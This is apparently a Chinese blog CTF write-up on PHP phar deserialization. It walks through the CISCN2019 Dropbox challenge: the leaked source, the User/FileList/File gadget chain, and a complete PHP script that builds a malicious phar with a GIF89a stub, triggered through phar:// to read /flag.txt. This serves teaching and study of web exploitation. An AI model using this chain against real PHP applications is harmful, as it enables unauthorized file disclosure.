phar反序列化
ps:8月份因为学车好久没有更新博客了,不过拿到了驾照,nice。
前置知识:
phar文件结构:
1.stub
phar文件的表示,类似于gif文件的GIF89a,以 xxx为固定形式,前面内容可以变,点必须以__HALT__COMPILER();?>结尾。2.a mainfest describing the contents
该部分是phar文件中被压缩的文件的一些信息,其中meta-data部分的信息会被序列化,即执行serialize()函数,而phar://就相当于对这部分的内容进行反序列化,此处也正是漏洞点所在。3.the file contents
这部分存储的是文件的内容,在没有其它特殊要求的情况下,这里面的内容不做约束。4.a signature for verifying Phar integrity
数字签名。放在最末。
phar反序列化使用前提条件
1.phar文件可上传
2.文件流操作函数如file_exists(),file_get_content(),fopne()要有可利用的魔法方法作为“跳板”。
3.文件流参数可控,且phar://协议可用。
例题:[CISCN2019 华北赛区 Day1 Web1]Dropbox
老样子开头先注册,登入,发现可以上传文件,本来以为是文件上传漏洞,但不是,因为没有给出上传后的文件地址。
然后下载文件抓包,发现只要改变filename就可以任意文件下载:
通过这样获取源代码
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
代码解释
不得不说代码量有点夸张,引用下大佬的解释:
1.首先看到class.php的File类里的close方法
public function close() { return file_get_contents($this->filename); // 这里我们要想办法让filename=flag.txt即可以读取到flag // 我们还要想办法给他回显出来
2.FileList的_call()方法语义,就是遍历files数组,对每一个file变量执行一次$func,然后将结果存进$results数组,接下来的_destruct函数会将FileList对象的funcs变量和results数组中的内容以HTML表格的形式输出在index.php上(我们可以知道,index.php里创建了一个FileList对象,在脚本执行完毕后触发_destruct,则会输出该用户目录下的文件信息)
public function _call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function _destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">ä¸è½½</a> / <a href="#" class="delete">å é¤</a></td>'; $table .= '</tr>'; } echo $table; }
3.此时我们又看到了User类的_destruct()方法;
public function _destruct() { $this->db->close(); } // 也就是说如果db=FileList类的实例,就变成了FileList->close();
4.当执行FileList->close()时,因为FileList类中没有close()这个方法所以调用FileList->_call()从而遍历全文件找close()方法(这是因为_call()函数的语义,这里close作为call的参数传入的),找到了File->close()就执行了读取文件内容的操作file_get_contents($filename)并给他的结果返回FileList->$results,最后FileList->_destruct()方法输出了这个结果,我们即可以通过这个思路拿到flag。
5.这时候我们想到phar,我们构造一个$filename=/flag.txt 。然后按照刚刚的思路就可以得到我们的flag。
6.总结一下就是:
User->_destruct => FileList->close() => FileList->_call(‘close’) => File->close(‘/flag.txt’) => $results=file_get_contents(‘flag.txt’) => FileList->_destruct() => echo $result 。
然后就是编写链子(注意只需要变量部分就行了,要不然运行会报挺多错的):
<?php
class User {
public $db;
public function __construct() {
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename='/flag.txt';
}
$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha,这个随意
$phar->stopBuffering();
?>
上传后修改mimi类型为image/jpeg后通过:
然后删除,抓包添加phar://自动反序列化,程序结束自动调用user类的__destruction()打印出来
参考博客: